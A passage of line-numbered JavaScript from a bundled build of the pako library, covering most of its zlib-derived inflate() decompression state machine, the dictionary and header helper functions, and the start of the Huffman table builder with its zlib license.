1815 if (state.flags & 0x0200) {
1816 state.check = crc32(state.check, input, copy, next);
1817 }
1818 have -= copy;
1819 next += copy;
1820 state.length -= copy;
1821 }
1822 if (state.length) { break inf_leave; }
1823 }
1824 state.length = 0;
1825 state.mode = NAME;
1826 /* falls through */
1827 case NAME:
1828 if (state.flags & 0x0800) {
1829 if (have === 0) { break inf_leave; }
1830 copy = 0;
1831 do {
1832 // TODO: 2 or 1 bytes?
1833 len = input[next + copy++];
1834 /* use constant limit because in js we should not preallocate memory */
1835 if (state.head && len &&
1836 (state.length < 65536 /*state.head.name_max*/)) {
1837 state.head.name += String.fromCharCode(len);
1838 }
1839 } while (len && copy < have);
1840
1841 if (state.flags & 0x0200) {
1842 state.check = crc32(state.check, input, copy, next);
1843 }
1844 have -= copy;
1845 next += copy;
1846 if (len) { break inf_leave; }
1847 }
1848 else if (state.head) {
1849 state.head.name = null;
1850 }
1851 state.length = 0;
1852 state.mode = COMMENT;
1853 /* falls through */
1854 case COMMENT:
1855 if (state.flags & 0x1000) {
1856 if (have === 0) { break inf_leave; }
1857 copy = 0;
1858 do {
1859 len = input[next + copy++];
1860 /* use constant limit because in js we should not preallocate memory */
1861 if (state.head && len &&
1862 (state.length < 65536 /*state.head.comm_max*/)) {
1863 state.head.comment += String.fromCharCode(len);
1864 }
1865 } while (len && copy < have);
1866 if (state.flags & 0x0200) {
1867 state.check = crc32(state.check, input, copy, next);
1868 }
1869 have -= copy;
1870 next += copy;
1871 if (len) { break inf_leave; }
1872 }
1873 else if (state.head) {
1874 state.head.comment = null;
1875 }
1876 state.mode = HCRC;
1877 /* falls through */
1878 case HCRC:
1879 if (state.flags & 0x0200) {
1880 //=== NEEDBITS(16); */
1881 while (bits < 16) {
1882 if (have === 0) { break inf_leave; }
1883 have--;
1884 hold += input[next++] << bits;
1885 bits += 8;
1886 }
1887 //===//
1888 if (hold !== (state.check & 0xffff)) {
1889 strm.msg = 'header crc mismatch';
1890 state.mode = BAD;
1891 break;
1892 }
1893 //=== INITBITS();
1894 hold = 0;
1895 bits = 0;
1896 //===//
1897 }
1898 if (state.head) {
1899 state.head.hcrc = ((state.flags >> 9) & 1);
1900 state.head.done = true;
1901 }
1902 strm.adler = state.check = 0;
1903 state.mode = TYPE;
1904 break;
1905 case DICTID:
1906 //=== NEEDBITS(32); */
1907 while (bits < 32) {
1908 if (have === 0) { break inf_leave; }
1909 have--;
1910 hold += input[next++] << bits;
1911 bits += 8;
1912 }
1913 //===//
1914 strm.adler = state.check = zswap32(hold);
1915 //=== INITBITS();
1916 hold = 0;
1917 bits = 0;
1918 //===//
1919 state.mode = DICT;
1920 /* falls through */
1921 case DICT:
1922 if (state.havedict === 0) {
1923 //--- RESTORE() ---
1924 strm.next_out = put;
1925 strm.avail_out = left;
1926 strm.next_in = next;
1927 strm.avail_in = have;
1928 state.hold = hold;
1929 state.bits = bits;
1930 //---
1931 return Z_NEED_DICT;
1932 }
1933 strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
1934 state.mode = TYPE;
1935 /* falls through */
1936 case TYPE:
1937 if (flush === Z_BLOCK || flush === Z_TREES) { break inf_leave; }
1938 /* falls through */
1939 case TYPEDO:
1940 if (state.last) {
1941 //--- BYTEBITS() ---//
1942 hold >>>= bits & 7;
1943 bits -= bits & 7;
1944 //---//
1945 state.mode = CHECK;
1946 break;
1947 }
1948 //=== NEEDBITS(3); */
1949 while (bits < 3) {
1950 if (have === 0) { break inf_leave; }
1951 have--;
1952 hold += input[next++] << bits;
1953 bits += 8;
1954 }
1955 //===//
1956 state.last = (hold & 0x01)/*BITS(1)*/;
1957 //--- DROPBITS(1) ---//
1958 hold >>>= 1;
1959 bits -= 1;
1960 //---//
1961
1962 switch ((hold & 0x03)/*BITS(2)*/) {
1963 case 0: /* stored block */
1964 //Tracev((stderr, "inflate: stored block%s\n",
1965 // state.last ? " (last)" : ""));
1966 state.mode = STORED;
1967 break;
1968 case 1: /* fixed block */
1969 fixedtables(state);
1970 //Tracev((stderr, "inflate: fixed codes block%s\n",
1971 // state.last ? " (last)" : ""));
1972 state.mode = LEN_; /* decode codes */
1973 if (flush === Z_TREES) {
1974 //--- DROPBITS(2) ---//
1975 hold >>>= 2;
1976 bits -= 2;
1977 //---//
1978 break inf_leave;
1979 }
1980 break;
1981 case 2: /* dynamic block */
1982 //Tracev((stderr, "inflate: dynamic codes block%s\n",
1983 // state.last ? " (last)" : ""));
1984 state.mode = TABLE;
1985 break;
1986 case 3:
1987 strm.msg = 'invalid block type';
1988 state.mode = BAD;
1989 }
1990 //--- DROPBITS(2) ---//
1991 hold >>>= 2;
1992 bits -= 2;
1993 //---//
1994 break;
1995 case STORED:
1996 //--- BYTEBITS() ---// /* go to byte boundary */
1997 hold >>>= bits & 7;
1998 bits -= bits & 7;
1999 //---//
2000 //=== NEEDBITS(32); */
2001 while (bits < 32) {
2002 if (have === 0) { break inf_leave; }
2003 have--;
2004 hold += input[next++] << bits;
2005 bits += 8;
2006 }
2007 //===//
2008 if ((hold & 0xffff) !== ((hold >>> 16) ^ 0xffff)) {
2009 strm.msg = 'invalid stored block lengths';
2010 state.mode = BAD;
2011 break;
2012 }
2013 state.length = hold & 0xffff;
2014 //Tracev((stderr, "inflate: stored length %u\n",
2015 // state.length));
2016 //=== INITBITS();
2017 hold = 0;
2018 bits = 0;
2019 //===//
2020 state.mode = COPY_;
2021 if (flush === Z_TREES) { break inf_leave; }
2022 /* falls through */
2023 case COPY_:
2024 state.mode = COPY;
2025 /* falls through */
2026 case COPY:
2027 copy = state.length;
2028 if (copy) {
2029 if (copy > have) { copy = have; }
2030 if (copy > left) { copy = left; }
2031 if (copy === 0) { break inf_leave; }
2032 //--- zmemcpy(put, next, copy); ---
2033 utils.arraySet(output, input, next, copy, put);
2034 //---//
2035 have -= copy;
2036 next += copy;
2037 left -= copy;
2038 put += copy;
2039 state.length -= copy;
2040 break;
2041 }
2042 //Tracev((stderr, "inflate: stored end\n"));
2043 state.mode = TYPE;
2044 break;
2045 case TABLE:
2046 //=== NEEDBITS(14); */
2047 while (bits < 14) {
2048 if (have === 0) { break inf_leave; }
2049 have--;
2050 hold += input[next++] << bits;
2051 bits += 8;
2052 }
2053 //===//
2054 state.nlen = (hold & 0x1f)/*BITS(5)*/ + 257;
2055 //--- DROPBITS(5) ---//
2056 hold >>>= 5;
2057 bits -= 5;
2058 //---//
2059 state.ndist = (hold & 0x1f)/*BITS(5)*/ + 1;
2060 //--- DROPBITS(5) ---//
2061 hold >>>= 5;
2062 bits -= 5;
2063 //---//
2064 state.ncode = (hold & 0x0f)/*BITS(4)*/ + 4;
2065 //--- DROPBITS(4) ---//
2066 hold >>>= 4;
2067 bits -= 4;
2068 //---//
2069 //#ifndef PKZIP_BUG_WORKAROUND
2070 if (state.nlen > 286 || state.ndist > 30) {
2071 strm.msg = 'too many length or distance symbols';
2072 state.mode = BAD;
2073 break;
2074 }
2075 //#endif
2076 //Tracev((stderr, "inflate: table sizes ok\n"));
2077 state.have = 0;
2078 state.mode = LENLENS;
2079 /* falls through */
2080 case LENLENS:
2081 while (state.have < state.ncode) {
2082 //=== NEEDBITS(3);
2083 while (bits < 3) {
2084 if (have === 0) { break inf_leave; }
2085 have--;
2086 hold += input[next++] << bits;
2087 bits += 8;
2088 }
2089 //===//
2090 state.lens[order[state.have++]] = (hold & 0x07);//BITS(3);
2091 //--- DROPBITS(3) ---//
2092 hold >>>= 3;
2093 bits -= 3;
2094 //---//
2095 }
2096 while (state.have < 19) {
2097 state.lens[order[state.have++]] = 0;
2098 }
2099 // We have separate tables & no pointers. 2 commented lines below not needed.
2100 //state.next = state.codes;
2101 //state.lencode = state.next;
2102 // Switch to use dynamic table
2103 state.lencode = state.lendyn;
2104 state.lenbits = 7;
2105
2106 opts = { bits: state.lenbits };
2107 ret = inflate_table(CODES, state.lens, 0, 19, state.lencode, 0, state.work, opts);
2108 state.lenbits = opts.bits;
2109
2110 if (ret) {
2111 strm.msg = 'invalid code lengths set';
2112 state.mode = BAD;
2113 break;
2114 }
2115 //Tracev((stderr, "inflate: code lengths ok\n"));
2116 state.have = 0;
2117 state.mode = CODELENS;
2118 /* falls through */
2119 case CODELENS:
2120 while (state.have < state.nlen + state.ndist) {
2121 for (;;) {
2122 here = state.lencode[hold & ((1 << state.lenbits) - 1)];/*BITS(state.lenbits)*/
2123 here_bits = here >>> 24;
2124 here_op = (here >>> 16) & 0xff;
2125 here_val = here & 0xffff;
2126
2127 if ((here_bits) <= bits) { break; }
2128 //--- PULLBYTE() ---//
2129 if (have === 0) { break inf_leave; }
2130 have--;
2131 hold += input[next++] << bits;
2132 bits += 8;
2133 //---//
2134 }
2135 if (here_val < 16) {
2136 //--- DROPBITS(here.bits) ---//
2137 hold >>>= here_bits;
2138 bits -= here_bits;
2139 //---//
2140 state.lens[state.have++] = here_val;
2141 }
2142 else {
2143 if (here_val === 16) {
2144 //=== NEEDBITS(here.bits + 2);
2145 n = here_bits + 2;
2146 while (bits < n) {
2147 if (have === 0) { break inf_leave; }
2148 have--;
2149 hold += input[next++] << bits;
2150 bits += 8;
2151 }
2152 //===//
2153 //--- DROPBITS(here.bits) ---//
2154 hold >>>= here_bits;
2155 bits -= here_bits;
2156 //---//
2157 if (state.have === 0) {
2158 strm.msg = 'invalid bit length repeat';
2159 state.mode = BAD;
2160 break;
2161 }
2162 len = state.lens[state.have - 1];
2163 copy = 3 + (hold & 0x03);//BITS(2);
2164 //--- DROPBITS(2) ---//
2165 hold >>>= 2;
2166 bits -= 2;
2167 //---//
2168 }
2169 else if (here_val === 17) {
2170 //=== NEEDBITS(here.bits + 3);
2171 n = here_bits + 3;
2172 while (bits < n) {
2173 if (have === 0) { break inf_leave; }
2174 have--;
2175 hold += input[next++] << bits;
2176 bits += 8;
2177 }
2178 //===//
2179 //--- DROPBITS(here.bits) ---//
2180 hold >>>= here_bits;
2181 bits -= here_bits;
2182 //---//
2183 len = 0;
2184 copy = 3 + (hold & 0x07);//BITS(3);
2185 //--- DROPBITS(3) ---//
2186 hold >>>= 3;
2187 bits -= 3;
2188 //---//
2189 }
2190 else {
2191 //=== NEEDBITS(here.bits + 7);
2192 n = here_bits + 7;
2193 while (bits < n) {
2194 if (have === 0) { break inf_leave; }
2195 have--;
2196 hold += input[next++] << bits;
2197 bits += 8;
2198 }
2199 //===//
2200 //--- DROPBITS(here.bits) ---//
2201 hold >>>= here_bits;
2202 bits -= here_bits;
2203 //---//
2204 len = 0;
2205 copy = 11 + (hold & 0x7f);//BITS(7);
2206 //--- DROPBITS(7) ---//
2207 hold >>>= 7;
2208 bits -= 7;
2209 //---//
2210 }
2211 if (state.have + copy > state.nlen + state.ndist) {
2212 strm.msg = 'invalid bit length repeat';
2213 state.mode = BAD;
2214 break;
2215 }
2216 while (copy--) {
2217 state.lens[state.have++] = len;
2218 }
2219 }
2220 }
2221
2222 /* handle error breaks in while */
2223 if (state.mode === BAD) { break; }
2224
2225 /* check for end-of-block code (better have one) */
2226 if (state.lens[256] === 0) {
2227 strm.msg = 'invalid code -- missing end-of-block';
2228 state.mode = BAD;
2229 break;
2230 }
2231
2232 /* build code tables -- note: do not change the lenbits or distbits
2233 values here (9 and 6) without reading the comments in inftrees.h
2234 concerning the ENOUGH constants, which depend on those values */
2235 state.lenbits = 9;
2236
2237 opts = { bits: state.lenbits };
2238 ret = inflate_table(LENS, state.lens, 0, state.nlen, state.lencode, 0, state.work, opts);
2239 // We have separate tables & no pointers. 2 commented lines below not needed.
2240 // state.next_index = opts.table_index;
2241 state.lenbits = opts.bits;
2242 // state.lencode = state.next;
2243
2244 if (ret) {
2245 strm.msg = 'invalid literal/lengths set';
2246 state.mode = BAD;
2247 break;
2248 }
2249
2250 state.distbits = 6;
2251 //state.distcode.copy(state.codes);
2252 // Switch to use dynamic table
2253 state.distcode = state.distdyn;
2254 opts = { bits: state.distbits };
2255 ret = inflate_table(DISTS, state.lens, state.nlen, state.ndist, state.distcode, 0, state.work, opts);
2256 // We have separate tables & no pointers. 2 commented lines below not needed.
2257 // state.next_index = opts.table_index;
2258 state.distbits = opts.bits;
2259 // state.distcode = state.next;
2260
2261 if (ret) {
2262 strm.msg = 'invalid distances set';
2263 state.mode = BAD;
2264 break;
2265 }
2266 //Tracev((stderr, 'inflate: codes ok\n'));
2267 state.mode = LEN_;
2268 if (flush === Z_TREES) { break inf_leave; }
2269 /* falls through */
2270 case LEN_:
2271 state.mode = LEN;
2272 /* falls through */
2273 case LEN:
2274 if (have >= 6 && left >= 258) {
2275 //--- RESTORE() ---
2276 strm.next_out = put;
2277 strm.avail_out = left;
2278 strm.next_in = next;
2279 strm.avail_in = have;
2280 state.hold = hold;
2281 state.bits = bits;
2282 //---
2283 inflate_fast(strm, _out);
2284 //--- LOAD() ---
2285 put = strm.next_out;
2286 output = strm.output;
2287 left = strm.avail_out;
2288 next = strm.next_in;
2289 input = strm.input;
2290 have = strm.avail_in;
2291 hold = state.hold;
2292 bits = state.bits;
2293 //---
2294
2295 if (state.mode === TYPE) {
2296 state.back = -1;
2297 }
2298 break;
2299 }
2300 state.back = 0;
2301 for (;;) {
2302 here = state.lencode[hold & ((1 << state.lenbits) - 1)]; /*BITS(state.lenbits)*/
2303 here_bits = here >>> 24;
2304 here_op = (here >>> 16) & 0xff;
2305 here_val = here & 0xffff;
2306
2307 if (here_bits <= bits) { break; }
2308 //--- PULLBYTE() ---//
2309 if (have === 0) { break inf_leave; }
2310 have--;
2311 hold += input[next++] << bits;
2312 bits += 8;
2313 //---//
2314 }
2315 if (here_op && (here_op & 0xf0) === 0) {
2316 last_bits = here_bits;
2317 last_op = here_op;
2318 last_val = here_val;
2319 for (;;) {
2320 here = state.lencode[last_val +
2321 ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
2322 here_bits = here >>> 24;
2323 here_op = (here >>> 16) & 0xff;
2324 here_val = here & 0xffff;
2325
2326 if ((last_bits + here_bits) <= bits) { break; }
2327 //--- PULLBYTE() ---//
2328 if (have === 0) { break inf_leave; }
2329 have--;
2330 hold += input[next++] << bits;
2331 bits += 8;
2332 //---//
2333 }
2334 //--- DROPBITS(last.bits) ---//
2335 hold >>>= last_bits;
2336 bits -= last_bits;
2337 //---//
2338 state.back += last_bits;
2339 }
2340 //--- DROPBITS(here.bits) ---//
2341 hold >>>= here_bits;
2342 bits -= here_bits;
2343 //---//
2344 state.back += here_bits;
2345 state.length = here_val;
2346 if (here_op === 0) {
2347 //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
2348 // "inflate: literal '%c'\n" :
2349 // "inflate: literal 0x%02x\n", here.val));
2350 state.mode = LIT;
2351 break;
2352 }
2353 if (here_op & 32) {
2354 //Tracevv((stderr, "inflate: end of block\n"));
2355 state.back = -1;
2356 state.mode = TYPE;
2357 break;
2358 }
2359 if (here_op & 64) {
2360 strm.msg = 'invalid literal/length code';
2361 state.mode = BAD;
2362 break;
2363 }
2364 state.extra = here_op & 15;
2365 state.mode = LENEXT;
2366 /* falls through */
2367 case LENEXT:
2368 if (state.extra) {
2369 //=== NEEDBITS(state.extra);
2370 n = state.extra;
2371 while (bits < n) {
2372 if (have === 0) { break inf_leave; }
2373 have--;
2374 hold += input[next++] << bits;
2375 bits += 8;
2376 }
2377 //===//
2378 state.length += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
2379 //--- DROPBITS(state.extra) ---//
2380 hold >>>= state.extra;
2381 bits -= state.extra;
2382 //---//
2383 state.back += state.extra;
2384 }
2385 //Tracevv((stderr, "inflate: length %u\n", state.length));
2386 state.was = state.length;
2387 state.mode = DIST;
2388 /* falls through */
2389 case DIST:
2390 for (;;) {
2391 here = state.distcode[hold & ((1 << state.distbits) - 1)];/*BITS(state.distbits)*/
2392 here_bits = here >>> 24;
2393 here_op = (here >>> 16) & 0xff;
2394 here_val = here & 0xffff;
2395
2396 if ((here_bits) <= bits) { break; }
2397 //--- PULLBYTE() ---//
2398 if (have === 0) { break inf_leave; }
2399 have--;
2400 hold += input[next++] << bits;
2401 bits += 8;
2402 //---//
2403 }
2404 if ((here_op & 0xf0) === 0) {
2405 last_bits = here_bits;
2406 last_op = here_op;
2407 last_val = here_val;
2408 for (;;) {
2409 here = state.distcode[last_val +
2410 ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
2411 here_bits = here >>> 24;
2412 here_op = (here >>> 16) & 0xff;
2413 here_val = here & 0xffff;
2414
2415 if ((last_bits + here_bits) <= bits) { break; }
2416 //--- PULLBYTE() ---//
2417 if (have === 0) { break inf_leave; }
2418 have--;
2419 hold += input[next++] << bits;
2420 bits += 8;
2421 //---//
2422 }
2423 //--- DROPBITS(last.bits) ---//
2424 hold >>>= last_bits;
2425 bits -= last_bits;
2426 //---//
2427 state.back += last_bits;
2428 }
2429 //--- DROPBITS(here.bits) ---//
2430 hold >>>= here_bits;
2431 bits -= here_bits;
2432 //---//
2433 state.back += here_bits;
2434 if (here_op & 64) {
2435 strm.msg = 'invalid distance code';
2436 state.mode = BAD;
2437 break;
2438 }
2439 state.offset = here_val;
2440 state.extra = (here_op) & 15;
2441 state.mode = DISTEXT;
2442 /* falls through */
2443 case DISTEXT:
2444 if (state.extra) {
2445 //=== NEEDBITS(state.extra);
2446 n = state.extra;
2447 while (bits < n) {
2448 if (have === 0) { break inf_leave; }
2449 have--;
2450 hold += input[next++] << bits;
2451 bits += 8;
2452 }
2453 //===//
2454 state.offset += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
2455 //--- DROPBITS(state.extra) ---//
2456 hold >>>= state.extra;
2457 bits -= state.extra;
2458 //---//
2459 state.back += state.extra;
2460 }
2461 //#ifdef INFLATE_STRICT
2462 if (state.offset > state.dmax) {
2463 strm.msg = 'invalid distance too far back';
2464 state.mode = BAD;
2465 break;
2466 }
2467 //#endif
2468 //Tracevv((stderr, "inflate: distance %u\n", state.offset));
2469 state.mode = MATCH;
2470 /* falls through */
2471 case MATCH:
2472 if (left === 0) { break inf_leave; }
2473 copy = _out - left;
2474 if (state.offset > copy) { /* copy from window */
2475 copy = state.offset - copy;
2476 if (copy > state.whave) {
2477 if (state.sane) {
2478 strm.msg = 'invalid distance too far back';
2479 state.mode = BAD;
2480 break;
2481 }
2482 // (!) This block is disabled in zlib defaults,
2483 // don't enable it for binary compatibility
2484 //#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
2485 // Trace((stderr, "inflate.c too far\n"));
2486 // copy -= state.whave;
2487 // if (copy > state.length) { copy = state.length; }
2488 // if (copy > left) { copy = left; }
2489 // left -= copy;
2490 // state.length -= copy;
2491 // do {
2492 // output[put++] = 0;
2493 // } while (--copy);
2494 // if (state.length === 0) { state.mode = LEN; }
2495 // break;
2496 //#endif
2497 }
2498 if (copy > state.wnext) {
2499 copy -= state.wnext;
2500 from = state.wsize - copy;
2501 }
2502 else {
2503 from = state.wnext - copy;
2504 }
2505 if (copy > state.length) { copy = state.length; }
2506 from_source = state.window;
2507 }
2508 else { /* copy from output */
2509 from_source = output;
2510 from = put - state.offset;
2511 copy = state.length;
2512 }
2513 if (copy > left) { copy = left; }
2514 left -= copy;
2515 state.length -= copy;
2516 do {
2517 output[put++] = from_source[from++];
2518 } while (--copy);
2519 if (state.length === 0) { state.mode = LEN; }
2520 break;
2521 case LIT:
2522 if (left === 0) { break inf_leave; }
2523 output[put++] = state.length;
2524 left--;
2525 state.mode = LEN;
2526 break;
2527 case CHECK:
2528 if (state.wrap) {
2529 //=== NEEDBITS(32);
2530 while (bits < 32) {
2531 if (have === 0) { break inf_leave; }
2532 have--;
2533 // Use '|' instead of '+' to make sure that result is signed
2534 hold |= input[next++] << bits;
2535 bits += 8;
2536 }
2537 //===//
2538 _out -= left;
2539 strm.total_out += _out;
2540 state.total += _out;
2541 if (_out) {
2542 strm.adler = state.check =
2543 /*UPDATE(state.check, put - _out, _out);*/
2544 (state.flags ? crc32(state.check, output, _out, put - _out) : adler32(state.check, output, _out, put - _out));
2545
2546 }
2547 _out = left;
2548 // NB: crc32 stored as signed 32-bit int, zswap32 returns signed too
2549 if ((state.flags ? hold : zswap32(hold)) !== state.check) {
2550 strm.msg = 'incorrect data check';
2551 state.mode = BAD;
2552 break;
2553 }
2554 //=== INITBITS();
2555 hold = 0;
2556 bits = 0;
2557 //===//
2558 //Tracev((stderr, "inflate: check matches trailer\n"));
2559 }
2560 state.mode = LENGTH;
2561 /* falls through */
2562 case LENGTH:
2563 if (state.wrap && state.flags) {
2564 //=== NEEDBITS(32);
2565 while (bits < 32) {
2566 if (have === 0) { break inf_leave; }
2567 have--;
2568 hold += input[next++] << bits;
2569 bits += 8;
2570 }
2571 //===//
2572 if (hold !== (state.total & 0xffffffff)) {
2573 strm.msg = 'incorrect length check';
2574 state.mode = BAD;
2575 break;
2576 }
2577 //=== INITBITS();
2578 hold = 0;
2579 bits = 0;
2580 //===//
2581 //Tracev((stderr, "inflate: length matches trailer\n"));
2582 }
2583 state.mode = DONE;
2584 /* falls through */
2585 case DONE:
2586 ret = Z_STREAM_END;
2587 break inf_leave;
2588 case BAD:
2589 ret = Z_DATA_ERROR;
2590 break inf_leave;
2591 case MEM:
2592 return Z_MEM_ERROR;
2593 case SYNC:
2594 /* falls through */
2595 default:
2596 return Z_STREAM_ERROR;
2597 }
2598 }
2599
2600 // inf_leave <- here is real place for "goto inf_leave", emulated via "break inf_leave"
2601
2602 /*
2603 Return from inflate(), updating the total counts and the check value.
2604 If there was no progress during the inflate() call, return a buffer
2605 error. Call updatewindow() to create and/or update the window state.
2606 Note: a memory error from inflate() is non-recoverable.
2607 */
2608
2609 //--- RESTORE() ---
2610 strm.next_out = put;
2611 strm.avail_out = left;
2612 strm.next_in = next;
2613 strm.avail_in = have;
2614 state.hold = hold;
2615 state.bits = bits;
2616 //---
2617
2618 if (state.wsize || (_out !== strm.avail_out && state.mode < BAD &&
2619 (state.mode < CHECK || flush !== Z_FINISH))) {
2620 if (updatewindow(strm, strm.output, strm.next_out, _out - strm.avail_out)) {
2621 state.mode = MEM;
2622 return Z_MEM_ERROR;
2623 }
2624 }
2625 _in -= strm.avail_in;
2626 _out -= strm.avail_out;
2627 strm.total_in += _in;
2628 strm.total_out += _out;
2629 state.total += _out;
2630 if (state.wrap && _out) {
2631 strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/
2632 (state.flags ? crc32(state.check, output, _out, strm.next_out - _out) : adler32(state.check, output, _out, strm.next_out - _out));
2633 }
2634 strm.data_type = state.bits + (state.last ? 64 : 0) +
2635 (state.mode === TYPE ? 128 : 0) +
2636 (state.mode === LEN_ || state.mode === COPY_ ? 256 : 0);
2637 if (((_in === 0 && _out === 0) || flush === Z_FINISH) && ret === Z_OK) {
2638 ret = Z_BUF_ERROR;
2639 }
2640 return ret;
2641 }
2642
2643 function inflateEnd(strm) {
2644
2645 if (!strm || !strm.state /*|| strm->zfree == (free_func)0*/) {
2646 return Z_STREAM_ERROR;
2647 }
2648
2649 var state = strm.state;
2650 if (state.window) {
2651 state.window = null;
2652 }
2653 strm.state = null;
2654 return Z_OK;
2655 }
2656
2657 function inflateGetHeader(strm, head) {
2658 var state;
2659
2660 /* check state */
2661 if (!strm || !strm.state) { return Z_STREAM_ERROR; }
2662 state = strm.state;
2663 if ((state.wrap & 2) === 0) { return Z_STREAM_ERROR; }
2664
2665 /* save header structure */
2666 state.head = head;
2667 head.done = false;
2668 return Z_OK;
2669 }
2670
2671 function inflateSetDictionary(strm, dictionary) {
2672 var dictLength = dictionary.length;
2673
2674 var state;
2675 var dictid;
2676 var ret;
2677
2678 /* check state */
2679 if (!strm /* == Z_NULL */ || !strm.state /* == Z_NULL */) { return Z_STREAM_ERROR; }
2680 state = strm.state;
2681
2682 if (state.wrap !== 0 && state.mode !== DICT) {
2683 return Z_STREAM_ERROR;
2684 }
2685
2686 /* check for correct dictionary identifier */
2687 if (state.mode === DICT) {
2688 dictid = 1; /* adler32(0, null, 0)*/
2689 /* dictid = adler32(dictid, dictionary, dictLength); */
2690 dictid = adler32(dictid, dictionary, dictLength, 0);
2691 if (dictid !== state.check) {
2692 return Z_DATA_ERROR;
2693 }
2694 }
2695 /* copy dictionary to window using updatewindow(), which will amend the
2696 existing dictionary if appropriate */
2697 ret = updatewindow(strm, dictionary, dictLength, dictLength);
2698 if (ret) {
2699 state.mode = MEM;
2700 return Z_MEM_ERROR;
2701 }
2702 state.havedict = 1;
2703 // Tracev((stderr, "inflate: dictionary set\n"));
2704 return Z_OK;
2705 }
2706
2707 exports.inflateReset = inflateReset;
2708 exports.inflateReset2 = inflateReset2;
2709 exports.inflateResetKeep = inflateResetKeep;
2710 exports.inflateInit = inflateInit;
2711 exports.inflateInit2 = inflateInit2;
2712 exports.inflate = inflate;
2713 exports.inflateEnd = inflateEnd;
2714 exports.inflateGetHeader = inflateGetHeader;
2715 exports.inflateSetDictionary = inflateSetDictionary;
2716 exports.inflateInfo = 'pako inflate (from Nodeca project)';
2717
2718 /* Not implemented
2719 exports.inflateCopy = inflateCopy;
2720 exports.inflateGetDictionary = inflateGetDictionary;
2721 exports.inflateMark = inflateMark;
2722 exports.inflatePrime = inflatePrime;
2723 exports.inflateSync = inflateSync;
2724 exports.inflateSyncPoint = inflateSyncPoint;
2725 exports.inflateUndermine = inflateUndermine;
2726 */
2727
2728 },{"../utils/common":1,"./adler32":3,"./crc32":5,"./inffast":7,"./inftrees":9}],9:[function(require,module,exports){
2729 'use strict';
2730
2731 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
2732 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
2733 //
2734 // This software is provided 'as-is', without any express or implied
2735 // warranty. In no event will the authors be held liable for any damages
2736 // arising from the use of this software.
2737 //
2738 // Permission is granted to anyone to use this software for any purpose,
2739 // including commercial applications, and to alter it and redistribute it
2740 // freely, subject to the following restrictions:
2741 //
2742 // 1. The origin of this software must not be misrepresented; you must not
2743 // claim that you wrote the original software. If you use this software
2744 // in a product, an acknowledgment in the product documentation would be
2745 // appreciated but is not required.
2746 // 2. Altered source versions must be plainly marked as such, and must not be
2747 // misrepresented as being the original software.
2748 // 3. This notice may not be removed or altered from any source distribution.
2749
2750 var utils = require('../utils/common');
2751
2752 var MAXBITS = 15;
2753 var ENOUGH_LENS = 852;
2754 var ENOUGH_DISTS = 592;
2755 //var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);
2756
2757 var CODES = 0;
2758 var LENS = 1;
2759 var DISTS = 2;
2760
2761 var lbase = [ /* Length codes 257..285 base */
2762 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
2763 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0
2764 ];
2765
2766 var lext = [ /* Length codes 257..285 extra */
2767 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
2768 19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78
2769 ];
2770
2771 var dbase = [ /* Distance codes 0..29 base */
2772 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
2773 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
2774 8193, 12289, 16385, 24577, 0, 0
2775 ];
2776
2777 var dext = [ /* Distance codes 0..29 extra */
2778 16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,
2779 23, 23, 24, 24, 25, 25, 26, 26, 27, 27,
2780 28, 28, 29, 29, 64, 64
2781 ];
2782
2783 module.exports = function inflate_table(type, lens, lens_index, codes, table, table_index, work, opts)
2784 {
2785 var bits = opts.bits;
2786 //here = opts.here; /* table entry for duplication */
2787
2788 var len = 0; /* a code's length in bits */
2789 var sym = 0; /* index of code symbols */
2790 var min = 0, max = 0; /* minimum and maximum code lengths */
2791 var root = 0; /* number of index bits for root table */
2792 var curr = 0; /* number of index bits for current table */
2793 var drop = 0; /* code bits to drop for sub-table */
2794 var left = 0; /* number of prefix codes available */
2795 var used = 0; /* code entries in table used */
2796 var huff = 0; /* Huffman code */
2797 var incr; /* for incrementing code, index */
2798 var fill; /* index for replicating entries */
2799 var low; /* low bits for current root entry */
2800 var mask; /* mask for low root bits */
2801 var next; /* next available space in table */
2802 var base = null; /* base value table to use */
2803 var base_index = 0;
2804 // var shoextra; /* extra bits table to use */
2805 var end; /* use base and extra for symbol > end */
2806 var count = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* number of codes of each length */
2807 var offs = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1]; /* offsets in table for each length */
2808 var extra = null;
2809 var extra_index = 0;
2810
2811 var here_bits, here_op, here_val;
2812
2813 /*
2814 Process a set of code lengths to create a canonical Huffman code. The
2815 code lengths are lens[0..codes-1]. Each length corresponds to the
2816 symbols 0..codes-1. The Huffman code is generated by first sorting the
2817 symbols by length from short to long, and retaining the symbol order
2818 for codes with equal lengths. Then the code starts with all zero bits
2819 for the first code of the shortest length, and the codes are integer
2820 increments for the same length, and zeros are appended as the length
2821 increases. For the deflate format, these bits are stored backwards
2822 from their more natural integer increment ordering, and so when the
2823 decoding tables are built in the large loop below, the integer codes
2824 are incremented backwards.
2825
2826 This routine assumes, but does not check, that all of the entries in
2827 lens[] are in the range 0..MAXBITS. The caller must assure this.
2828 1..MAXBITS is interpreted as that code length. zero means that that
2829 symbol does not occur in this code.
2830
2831 The codes are sorted by computing a count of codes for each length,
2832 creating from that a table of starting indices for each length in the
2833 sorted table, and then entering the symbols in order in the sorted
